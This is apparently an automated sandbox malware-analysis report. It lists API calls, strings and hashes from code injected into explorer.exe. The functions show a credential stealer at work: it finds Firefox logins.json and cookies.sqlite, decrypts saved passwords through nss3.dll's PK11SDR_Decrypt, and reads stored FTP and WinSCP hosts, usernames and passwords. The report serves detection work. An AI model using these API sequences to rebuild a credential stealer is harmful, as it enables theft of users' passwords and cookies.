Function 000C104C Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,000C158A), ref: 000C1056

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 89054cb220ee4bceeb5c72cf07b93ffc29755a2f9b399f58ca72f882ddf7ed5f
Instruction ID: 6ced8ba81a80a37abd1a230f096ca294a1d38799ad107e7e8dc3420ce8496934
Opcode Fuzzy Hash: 89054cb220ee4bceeb5c72cf07b93ffc29755a2f9b399f58ca72f882ddf7ed5f
Instruction Fuzzy Hash: 61A002F07D67007AFD6D5762AF1FF5529389744F02F114244B34D7C4D095E97540852D

Function 000C105D Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,000C4A5B,?,?,00000000,?,?,?,?,000C4B66,?), ref: 000C1065

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: a0841d3495debf9561b2fd3655bc4f405786c16b4d3aa47c1d731820491bf4e9
Instruction ID: ea9c58852240352b8423ea4b75abe92339e5d7fb28c36c6259098a70c275598b
Opcode Fuzzy Hash: a0841d3495debf9561b2fd3655bc4f405786c16b4d3aa47c1d731820491bf4e9
Instruction Fuzzy Hash: F4A0027069070076EDB857205E0AF4526146780B01F2185447641A94D18AA6E084CA18

Non-executed Functions

Function 000C349B Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 201nativefilestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000000,00000000,00000003,00000000,00000000), ref: 000C34C0

Part of subcall function 000C33C3: NtQueryInformationFile.NTDLL(00000000,00002000,00000000,00002000,0000002F), ref: 000C3401

OpenProcess.KERNEL32(00000440,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,000C37A8), ref: 000C34E9

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 000C351E
NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 000C3541
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 000C3586
DuplicateHandle.KERNEL32(00000000,00000000,00000000), ref: 000C358F
lstrcmpiW.KERNEL32(00000000,File), ref: 000C35B6
NtQueryObject.NTDLL(?,00000001,00000000,00001000,00000000), ref: 000C35DE
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 000C35F6
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 000C3606
lstrcmpiW.KERNEL32(00000000,00000000), ref: 000C361E
GetFileSize.KERNEL32(?,00000000), ref: 000C3631
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 000C3658
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 000C366B
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 000C3681
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 000C36AD
CloseHandle.KERNEL32(?), ref: 000C36C0
CloseHandle.KERNEL32(00000000), ref: 000C36F5

Part of subcall function 000C1C9F: CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 000C1CC0
Part of subcall function 000C1C9F: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 000C1CDA
Part of subcall function 000C1C9F: CloseHandle.KERNEL32(00000000), ref: 000C1CE6

CloseHandle.KERNEL32(?), ref: 000C3707

Strings

File, xrefs: 000C35B0

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: File$HandleProcess$CloseQuery$InformationPointer$CreateHeaplstrcmpi$AllocateCurrentDuplicateObjectOpenReadSizeWrite
String ID: File
API String ID: 3915112439-749574446
Opcode ID: 85c91e519d110048cb2d754a10ec55df9a05838f1dba24dbab689c051b21d81c
Instruction ID: e611380c84b8e800ad77419bd56dca3311fb691ad2757330bb5d87bb6a9d9bac
Opcode Fuzzy Hash: 85c91e519d110048cb2d754a10ec55df9a05838f1dba24dbab689c051b21d81c
Instruction Fuzzy Hash: 30619370214300BFD7649F20CC85FAFBBE9EB88754F10892CF946D62A2D776DA848B51

Function 00114438 Relevance: 19.9, APIs: 3, Strings: 10, Instructions: 359COMMON

Download Yara Rule

APIs

memcmp.NTDLL ref: 00114502
memcmp.NTDLL ref: 0011475F
memcpy.NTDLL(00000000,00000000,00000000,00000002,?,00000000,000001D8,?,00000000), ref: 00114803

Strings

no such %s mode: %s, xrefs: 00114784
cach, xrefs: 001146DC
access, xrefs: 00114725
cache, xrefs: 001146FA
%s mode not allowed: %s, xrefs: 001147D0
invalid uri authority: %.*s, xrefs: 00114513
no such vfs: %s, xrefs: 0011482F
localhost, xrefs: 001144FD
mode, xrefs: 00114712
file, xrefs: 00114474

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: memcmp$memcpy
String ID: %s mode not allowed: %s$access$cach$cache$file$invalid uri authority: %.*s$localhost$mode$no such %s mode: %s$no such vfs: %s
API String ID: 231171946-1096842476
Opcode ID: b4768a15e99ee3ef54f00a1cf1c222636a9990fab00678141a19e80a01d1a023
Instruction ID: 0ae4a5864ec2897dd920d3a381ff2996a0ff21590144861ef0922d2565c29d7a
Opcode Fuzzy Hash: b4768a15e99ee3ef54f00a1cf1c222636a9990fab00678141a19e80a01d1a023
Instruction Fuzzy Hash: 18C1E4719083519BDB3CCF188490BFAB7D2AB9AB18F14053EF4D587292D724D8C5C796

Function 000C2B15 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 102filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 000C1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,000C2F0C), ref: 000C1973
Part of subcall function 000C1953: lstrlenW.KERNEL32(00116564,?,?,000C2F0C), ref: 000C1978
Part of subcall function 000C1953: lstrcatW.KERNEL32(00000000,?), ref: 000C1990
Part of subcall function 000C1953: lstrcatW.KERNEL32(00000000,00116564), ref: 000C1994

FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?,00000000), ref: 000C2B3D
lstrcmpiW.KERNEL32(?,001162CC), ref: 000C2B63
lstrcmpiW.KERNEL32(?,001162D0), ref: 000C2B7B

Part of subcall function 000C19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,000C2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 000C19C4

StrStrIW.SHLWAPI(00000000,logins.json), ref: 000C2BE7
StrStrIW.SHLWAPI(00000000,cookies.sqlite), ref: 000C2C16
FindNextFileW.KERNEL32(00000000,00000010), ref: 000C2C43
FindClose.KERNEL32(00000000), ref: 000C2C52

Strings

logins.json, xrefs: 000C2BE1
\*.*, xrefs: 000C2B15
cookies.sqlite, xrefs: 000C2C10

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: Findlstrlen$Filelstrcatlstrcmpi$CloseFirstNext
String ID: \*.*$cookies.sqlite$logins.json
API String ID: 1108783765-3717368146
Opcode ID: 816a57068c54ca00ef35ce7b1a04263d4aa104917f7177b53de6423b35f69afa
Instruction ID: aafc04bb5f71a56d0c688c2381e3aaf9193852b0c09fd3335d0131dcf12101ad
Opcode Fuzzy Hash: 816a57068c54ca00ef35ce7b1a04263d4aa104917f7177b53de6423b35f69afa
Instruction Fuzzy Hash: 283190303043055BCB18AB709995FFE73DAAB89700B14893CB845D3693EF7ACD869252

Function 000E5F08 Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 000C6AAA: memset.NTDLL ref: 000C6AC5

memset.NTDLL ref: 000E5F53

Strings

cannot open view: %s, xrefs: 000E5FF3
indexed, xrefs: 000E60E8
cannot open %s column for writing, xrefs: 000E6255
cannot open table without rowid: %s, xrefs: 000E5FCF
foreign key, xrefs: 000E60A3
no such column: "%s", xrefs: 000E6271
cannot open virtual table: %s, xrefs: 000E5FAA

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: memset
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"
API String ID: 2221118986-594550510
Opcode ID: 653fe322f454fb9f1dd5fa54b1c4e25b63d7f4155551440a66e3479997b0d3dc
Instruction ID: 5d15dc0e707e90713246ede4f2e4703f2becd81512558dd9c05cf51217637031
Opcode Fuzzy Hash: 653fe322f454fb9f1dd5fa54b1c4e25b63d7f4155551440a66e3479997b0d3dc
Instruction Fuzzy Hash: 7DC1AD706087429FCB54DF26D480A6FB7E2BFD8740F04892DF855A7242DB32E956CB92

Function 000C2112 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29timeCOMMON

Download Yara Rule

APIs

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

GetSystemTimeAsFileTime.KERNEL32(?), ref: 000C2127
_alldiv.NTDLL(?,?,00989680,00000000), ref: 000C213A
wsprintfA.USER32 ref: 000C214F

Strings

%li, xrefs: 000C2149

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: HeapTime$AllocateFileProcessSystem_alldivwsprintf
String ID: %li
API String ID: 4120667308-1021419598
Opcode ID: ca47e084cee357e27e5a0275cf18bf47dd6c277cb9b9ed8cc12eaad378895f9b
Instruction ID: 87b622b6f1c7054b961d268ef61acbadafc26ef617cff2d966bd51cf342a7809
Opcode Fuzzy Hash: ca47e084cee357e27e5a0275cf18bf47dd6c277cb9b9ed8cc12eaad378895f9b
Instruction Fuzzy Hash: 22E0D83264121877C7243BB89D06FEF7B6DDB80B55F004195F900E2586E6738AA483D5

Function 000C4440 Relevance: 38.8, APIs: 12, Strings: 10, Instructions: 289stringcommemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(001162B0,00000000,00000001,001162A0,?), ref: 000C445F
SysAllocString.OLEAUT32(?), ref: 000C44AA
lstrcmpiW.KERNEL32(RecentServers,?), ref: 000C456E
lstrcmpiW.KERNEL32(Servers,?), ref: 000C457D
lstrcmpiW.KERNEL32(Settings,?), ref: 000C458C

Part of subcall function 000C11E1: lstrlenW.KERNEL32(?,7570D5B5,00000000,?,00000000,?,000C46E3), ref: 000C11ED
Part of subcall function 000C11E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 000C120F
Part of subcall function 000C11E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 000C1231

lstrcmpiW.KERNEL32(Server,?), ref: 000C45BE
lstrcmpiW.KERNEL32(LastServer,?), ref: 000C45CD
lstrcmpiW.KERNEL32(Host,?), ref: 000C4657
lstrcmpiW.KERNEL32(Port,?), ref: 000C4679
lstrcmpiW.KERNEL32(User,?), ref: 000C469F
lstrcmpiW.KERNEL32(Pass,?), ref: 000C46C5
wsprintfW.USER32 ref: 000C471E

Strings

User, xrefs: 000C469A
Servers, xrefs: 000C4578
%s:%s, xrefs: 000C4718
Pass, xrefs: 000C46C0
RecentServers, xrefs: 000C4569
Server, xrefs: 000C45B9
Host, xrefs: 000C4652
Settings, xrefs: 000C4587
LastServer, xrefs: 000C45C8
Port, xrefs: 000C4674

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: lstrcmpi$String$BinaryCrypt$AllocCreateInstancelstrlenwsprintf
String ID: %s:%s$Host$LastServer$Pass$Port$RecentServers$Server$Servers$Settings$User
API String ID: 2230072276-1234691226
Opcode ID: 30888a708acc5a0ea93051fd38392112b84266cdb92fea4b5db642ddf6ce8d0b
Instruction ID: e843122c189cc5930bf12067dc9b5f1d3e7ad64f530fa00f5a5b4f521c672ced
Opcode Fuzzy Hash: 30888a708acc5a0ea93051fd38392112b84266cdb92fea4b5db642ddf6ce8d0b
Instruction Fuzzy Hash: 1BB1F571208302AFD744DF64C894F6AB7E9BF89745F00896CF5858B261DB72E846CB62

Function 000C24B0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

Part of subcall function 000C1090: lstrlenW.KERNEL32(?,?,00000000,000C17E5), ref: 000C1097
Part of subcall function 000C1090: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000), ref: 000C10A8

Part of subcall function 000C19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,000C2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 000C19C4

GetCurrentDirectoryW.KERNEL32(00000104,00000000), ref: 000C2503
SetCurrentDirectoryW.KERNEL32(00000000), ref: 000C250A
LoadLibraryW.KERNEL32(00000000), ref: 000C2563
SetCurrentDirectoryW.KERNEL32(?), ref: 000C2570
GetProcAddress.KERNEL32(00000000,NSS_Init), ref: 000C2591
GetProcAddress.KERNEL32(00000000,NSS_Shutdown), ref: 000C259E
GetProcAddress.KERNEL32(00000000,SECITEM_FreeItem), ref: 000C25AB
GetProcAddress.KERNEL32(00000000,PK11_GetInternalKeySlot), ref: 000C25B8
GetProcAddress.KERNEL32(00000000,PK11_Authenticate), ref: 000C25C5
GetProcAddress.KERNEL32(00000000,PK11SDR_Decrypt), ref: 000C25D2
GetProcAddress.KERNEL32(00000000,PK11_FreeSlot), ref: 000C25DF

Part of subcall function 000C190B: lstrlen.KERNEL32(?,?,?,?,00000000,000C2783), ref: 000C192B
Part of subcall function 000C190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,000C2783), ref: 000C1930
Part of subcall function 000C190B: lstrcat.KERNEL32(00000000,?), ref: 000C1946
Part of subcall function 000C190B: lstrcat.KERNEL32(00000000,00000000), ref: 000C194A

Strings

PK11_GetInternalKeySlot, xrefs: 000C25AD
nss3.dll, xrefs: 000C2510
sql:, xrefs: 000C262B
PK11SDR_Decrypt, xrefs: 000C25C7
SECITEM_FreeItem, xrefs: 000C25A0
PK11_FreeSlot, xrefs: 000C25D4
NSS_Shutdown, xrefs: 000C2593
PK11_Authenticate, xrefs: 000C25BA
NSS_Init, xrefs: 000C258B

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: AddressProc$lstrlen$CurrentDirectory$Heaplstrcat$AllocateByteCharLibraryLoadMultiProcessWide
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_FreeSlot$PK11_GetInternalKeySlot$SECITEM_FreeItem$nss3.dll$sql:
API String ID: 3366569387-3272982511
Opcode ID: c1b70d19bbb5fc11e2944ac74cd44553f1d1393c64af99f6848bdd0e200f2215
Instruction ID: f27eb7f9fdc0b117fc65d383f015153ce6af75afbe9925de09a55da9ba8c9da4
Opcode Fuzzy Hash: c1b70d19bbb5fc11e2944ac74cd44553f1d1393c64af99f6848bdd0e200f2215
Instruction Fuzzy Hash: A3414835A00315ABCB28EF349D54FEE7AE59B96740B10003EF851D3AA3DB758C878B61

Function 000C5E5A Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 382COMMON

Download Yara Rule

APIs

Part of subcall function 000C5BF5: memset.NTDLL ref: 000C5C07

_alldiv.NTDLL(?,?,05265C00,00000000), ref: 000C60E1
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 000C60EC
_alldiv.NTDLL(?,?,000003E8,00000000), ref: 000C6113
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 000C618E
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 000C61B5
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 000C61C1

Strings

%06.3f, xrefs: 000C6229
%02d, xrefs: 000C6039, 000C61D3
W, xrefs: 000C6193
%lld, xrefs: 000C6122
%.16g, xrefs: 000C6077
%04d, xrefs: 000C6016
%03d, xrefs: 000C61F3

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: _alldiv$_allrem$memset
String ID: %.16g$%02d$%03d$%04d$%06.3f$%lld$W
API String ID: 2557048445-1989508764
Opcode ID: 07b6f24c9f0eccf547c5febb05cd4f55052b92d10405f92d4ab388aa2304a2eb
Instruction ID: 502cfbf67b18a962bf2db5a4d44a48d6e4ebfb69120bd35f6eeed1c98243c828
Opcode Fuzzy Hash: 07b6f24c9f0eccf547c5febb05cd4f55052b92d10405f92d4ab388aa2304a2eb
Instruction Fuzzy Hash: 8CB182B1908B42ABD7399F24CC85F7F7FD4EB80344F24066DF482A62D2E722DD918691

Function 000DD2AC Relevance: 19.7, APIs: 1, Strings: 12, Instructions: 169COMMON

Download Yara Rule

APIs

memcmp.NTDLL ref: 000DD324

Strings

%s(%d), xrefs: 000DD3AB
%lld, xrefs: 000DD3CA
BINARY, xrefs: 000DD31E
,%d, xrefs: 000DD444
(blob), xrefs: 000DD416
%.16g, xrefs: 000DD3E5
,%s%s, xrefs: 000DD34E
vtab:%p, xrefs: 000DD423
NULL, xrefs: 000DD40F
k(%d, xrefs: 000DD2EE
(%.20s), xrefs: 000DD38A
program, xrefs: 000DD46A

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: memcmp
String ID: %.16g$%lld$%s(%d)$(%.20s)$(blob)$,%d$,%s%s$BINARY$NULL$k(%d$program$vtab:%p
API String ID: 1475443563-3683840195
Opcode ID: 6c12060513ba6a234d0862b8537c34ffa40511fdd26cf7abd0e86ff22dfed634
Instruction ID: fe290169e0ce38446e0540a888359f41ab26a7e6bb3f0bce88348ddb2ddbfa1c
Opcode Fuzzy Hash: 6c12060513ba6a234d0862b8537c34ffa40511fdd26cf7abd0e86ff22dfed634
Instruction Fuzzy Hash: 5E51DF31508700ABC7649F64CC91AABB7E6EB45300F14487FF9969B382E771ED45CBA2

Function 000C28F8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 158stringfileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,00000000,?), ref: 000C2AD2

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

lstrlen.KERNEL32(00000000,?,?,?,?,?,?), ref: 000C29E1
lstrlen.KERNEL32(00000000), ref: 000C29EC
wsprintfA.USER32 ref: 000C2A38
lstrlen.KERNEL32(00000000), ref: 000C2A44
lstrcat.KERNEL32(00000000,00000000), ref: 000C2A6C
lstrlen.KERNEL32(00000000,?,?), ref: 000C2A99

Strings

COOKIES, xrefs: 000C2AA4, 000C2AAB, 000C2AB1
FALSE, xrefs: 000C2A06
TRUE, xrefs: 000C2A13
%sTRUE%s%s%s%s%s, xrefs: 000C2A32

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: lstrlen$Heap$AllocateDeleteFileProcesslstrcatwsprintf
String ID: %sTRUE%s%s%s%s%s$COOKIES$FALSE$TRUE
API String ID: 304071051-2605711689
Opcode ID: b6fbec5da11f4ddb5932563bba272f676d001bde523c1f2972690ab1abefcc36
Instruction ID: 6590630dc8a207623c16ac02fe2defee39dcf0182e8ea07b300ef6e5e98ee674
Opcode Fuzzy Hash: b6fbec5da11f4ddb5932563bba272f676d001bde523c1f2972690ab1abefcc36
Instruction Fuzzy Hash: 3F519E306083469BC729EF209851FBE77EAAF8A704F04482DF8859B653DB36DC458752

Function 000C2CB5 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 112stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000C1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,000C2F0C), ref: 000C1973
Part of subcall function 000C1953: lstrlenW.KERNEL32(00116564,?,?,000C2F0C), ref: 000C1978
Part of subcall function 000C1953: lstrcatW.KERNEL32(00000000,?), ref: 000C1990
Part of subcall function 000C1953: lstrcatW.KERNEL32(00000000,00116564), ref: 000C1994

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

Part of subcall function 000C1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000), ref: 000C1B82
Part of subcall function 000C1B6A: CloseHandle.KERNEL32(00000000), ref: 000C1B8F

GetPrivateProfileSectionNamesW.KERNEL32(00000000,0000FDE8,00000000), ref: 000C2D13
StrStrIW.SHLWAPI(00000000,Profile), ref: 000C2D45
GetPrivateProfileStringW.KERNEL32(00000000,Path,0011637C,?,00000FFF,?), ref: 000C2D68
GetPrivateProfileIntW.KERNEL32(00000000,IsRelative,00000001,?), ref: 000C2D7B
lstrlenW.KERNEL32(00000000), ref: 000C2DD8

Strings

profiles.ini, xrefs: 000C2CCD
Profile, xrefs: 000C2D3F
Path, xrefs: 000C2D62
IsRelative, xrefs: 000C2D75

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: PrivateProfilelstrlen$Heaplstrcat$AllocateCloseCreateFileHandleNamesProcessSectionString
String ID: IsRelative$Path$Profile$profiles.ini
API String ID: 2234428054-4107377610
Opcode ID: 9b31e7aee2010a9455d7b08a3ff5ee60b31241b697d1d82932e988be6aab703d
Instruction ID: f4fb6b58b6dc00fad621c98ce7d2a5ce087e367b1053133f06ae5d2d601b58fc
Opcode Fuzzy Hash: 9b31e7aee2010a9455d7b08a3ff5ee60b31241b697d1d82932e988be6aab703d
Instruction Fuzzy Hash: E53170307043029BC664AF709951FAF76E2AFDA700F10843DF946A7693DBB68C869752

Function 000C48B1 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 000C19E5: RegOpenKeyExW.KERNEL32(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,000C1AE2,PortNumber,00000000,00000000), ref: 000C1A1E
Part of subcall function 000C19E5: RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 000C1A3C
Part of subcall function 000C19E5: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 000C1A75
Part of subcall function 000C19E5: RegCloseKey.ADVAPI32(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,000C1AE2,PortNumber,00000000,00000000), ref: 000C1A98

Part of subcall function 000C482C: lstrlenW.KERNEL32(?), ref: 000C4845
Part of subcall function 000C482C: lstrlenW.KERNEL32(?), ref: 000C488F
Part of subcall function 000C482C: lstrlenW.KERNEL32(?), ref: 000C4897

wsprintfW.USER32 ref: 000C49A7
wsprintfW.USER32 ref: 000C49B9

Strings

Password, xrefs: 000C48E4
HostName, xrefs: 000C48C4
UserName, xrefs: 000C48D2
%s:%u/%s, xrefs: 000C4982, 000C49A5
RemoteDirectory, xrefs: 000C48F8
%s:%u, xrefs: 000C4971, 000C49B7

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: lstrlen$QueryValuewsprintf$CloseOpen
String ID: %s:%u$%s:%u/%s$HostName$Password$RemoteDirectory$UserName
API String ID: 2889301010-4273187114
Opcode ID: 6d942c896039cf61200882cebd8a9d771eebd6e5605c6dbd17e4a4d5f43adce3
Instruction ID: a8b09345e69ff1ba66a2465c1b4e31cc8dab7fd639ae0f15a18bb21264fc0e70
Opcode Fuzzy Hash: 6d942c896039cf61200882cebd8a9d771eebd6e5605c6dbd17e4a4d5f43adce3
Instruction Fuzzy Hash: 5B310130B043246BC714EB65CC65FAFB6EDEFCA784B05491DB00083282DBB2CC4283A2

Function 000CF92F Relevance: 12.4, APIs: 4, Strings: 4, Instructions: 350COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?,00000000), ref: 000CFB32
memcpy.NTDLL(?,?,00000000,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 000CFB4D
memcpy.NTDLL(?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 000CFB60
memcpy.NTDLL(?,?,?,?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030), ref: 000CFB95

Strings

nolock, xrefs: 000CFC4E
immutable, xrefs: 000CFC68
-journal, xrefs: 000CFB6B
-wal, xrefs: 000CFBA9

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: memcpy
String ID: -journal$-wal$immutable$nolock
API String ID: 3510742995-3408036318
Opcode ID: 3a6a27faacbf6c92f88da7b8fe7d6f9162755b9b1709fa4f42044f80face6d1e
Instruction ID: c89defe6d0ec5f2e348624996de8f07d2a3918ed32f10c12a661b1774d24ac5e
Opcode Fuzzy Hash: 3a6a27faacbf6c92f88da7b8fe7d6f9162755b9b1709fa4f42044f80face6d1e
Instruction Fuzzy Hash: EFD1C2B16083429FDB54DF28C881B6EBBE2AF95310F08457DF8998B392DB75D805CB52

Function 000C7820 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 407COMMON

Download Yara Rule

Strings

NaN, xrefs: 000C73F8
-x0, xrefs: 000C7325
%, xrefs: 000C7822

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID:
String ID: %$-x0$NaN
API String ID: 0-62881354
Opcode ID: 1f87efaaba1fee79add35bd9cc08fce12440bd0c0f297eea647123ba31e58b4e
Instruction ID: 2846519d4a6e4ce3f269d2e408c114d7b22045f5ff8cdb487a6a7542025fffbd
Opcode Fuzzy Hash: 1f87efaaba1fee79add35bd9cc08fce12440bd0c0f297eea647123ba31e58b4e
Instruction Fuzzy Hash: A1D1E27060C3828BD7758F288490F6EBBE1AFD9304F28486DF8C997352D665C985DF82

Function 000C78B0 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

NaN, xrefs: 000C73F8
-x0, xrefs: 000C7325

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: f1684721801c51636d9e7cfdca5a507d959a7a8fa1aee60da40d0f8f337b0ba3
Instruction ID: 740b431186cbd86f8beda1b7881111a455780db19083a412a37fa82ce740fb92
